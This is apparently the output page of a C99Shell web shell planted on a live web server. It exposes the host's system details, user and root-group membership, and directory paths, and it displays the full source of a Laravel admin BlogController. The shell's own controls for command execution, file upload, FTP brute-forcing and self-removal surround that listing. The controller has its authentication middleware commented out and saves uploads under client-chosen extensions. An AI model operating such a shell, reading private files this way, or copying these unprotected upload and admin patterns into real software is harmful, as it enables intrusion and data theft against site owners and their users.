!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BlogController.php (4.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
Illuminate\Http\Request;
use 
App\Http\Controllers\Controller;
use 
App\Models\Blog;
use 
Validator;
use 
File;
use 
Hash;
use 
DB;
use 
Auth;

class 
BlogController  extends Controller
{

  public function 
__construct()
  {
  
//    $this->middleware('auth');
  
}

  public function 
index(Request $request) {

    
$homepageSlider = new Blog();
    
$data =  $homepageSlider->orderBy('created_at','DESC')->paginate(20);
    return 
view('admin.blog.index',compact('data'));
  }

  public function 
add() {
    return 
view('admin.blog.add',['chatGPT' => $this->getChatGPTConfig()]);
  }

  public function 
store(Request $request) {

    
$validator Validator::make($request->all(),[
                
'image' => 'required|image|mimes:jpeg,png,jpg|max:2048',
                
'title' => 'required|max:255',
            ]);
    if(
$validator->fails()) {
      return 
redirect()->back()->withErrors($validator)->withInput();
    }

  
$fileName '';
  if(
$request->hasFile('image')) {
             
$file $request->image;
             
$extension $request['image']->getClientOriginalExtension(); // getting image extension
             
$fileName rand(11111,99999).'.'.$extension// renameing image
             
$file->move(public_path().'/uploads/blog'$fileName);
    }

      
$create Blog::create([
        
'image' => $fileName,
        
'title' => $request->title,
        
'description' => $request->description,
        
'short_description' => $request->short_description,
      ]);

      if(
$create) {

        
$blogData Blog::take(5)->latest()->get()->toArray();
        
$val  =    json_encode($blogData);
        
$filename base_path().'/storage/app/blogArray.json';
        
$fp=fopen($filename,"w");
        
fwrite($fp,$val);
        
fclose($fp);


          return 
redirect(route('blog'))->with('success','Data successfully added!');
      }
      else {
        return 
redirect()->back()->with('error','Unable to store data try again later');
      }
  }

  public function 
edit($id) {
      
$data Blog::find($id);
      
$chatGPT=  $this->getChatGPTConfig();
      return 
view('admin.blog.edit',compact('data','chatGPT'));
  }

  public function 
update($id,Request $request) {
    
$validator Validator::make($request->all(),[
               
'title' => 'required|max:255',
            ]);

    if(
$validator->fails()) {
      return 
redirect()->back()->withErrors($validator)->withInput();
    }

    
$find Blog::find($id);

    
$fileName $find->image;
    if(
$request->hasFile('image')) {
        if(
File::exists(public_path().'/uploads/blog/'.$find->image)){
            
File::delete(public_path().'/uploads/blog/'.$find->image);
         }
         
$file $request->image;
         
$extension $request['image']->getClientOriginalExtension(); // getting image extension
         
$fileName rand(11111,99999).'.'.$extension// renameing image
         
$file->move(public_path().'/uploads/blog'$fileName);
      }

      
$update $find->update([
        
'image' => $fileName,
        
'title' => $request->title,
        
'description' => $request->description,
        
'short_description' => $request->short_description,
      ]);

      if(
$update) {
        
$blogData Blog::take(5)->latest()->get()->toArray();
        
$val  =    json_encode($blogData);
        
$filename base_path().'/storage/app/blogArray.json';
        
$fp=fopen($filename,"w");
        
fwrite($fp,$val);
        
fclose($fp);
        return 
redirect(route('blog'))->with('success','Data successfully updated!');
      }
      else {
        return 
redirect()->back()->with('error','Unable to update data try again later');
      }

  }

  public function 
delete($id) {
    
$find Blog::find($id);
    
$delete $find->delete();

    if(
$delete) {

      
$blogData Blog::take(5)->latest()->get()->toArray();
      
$val  =    json_encode($blogData);
      
$filename base_path().'/storage/app/blogArray.json';
      
$fp=fopen($filename,"w");
      
fwrite($fp,$val);
      
fclose($fp);

      if(
File::exists(public_path().'/uploads/blog/'.$find->image)){
        
File::delete(public_path().'/uploads/blog/'.$find->image);
     }
      return 
redirect()->back()->with('success','Data successfully deleted!');
    }
    else {
      return 
redirect()->back()->with('error','Unable to delete data try again later');
    }
  }





}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--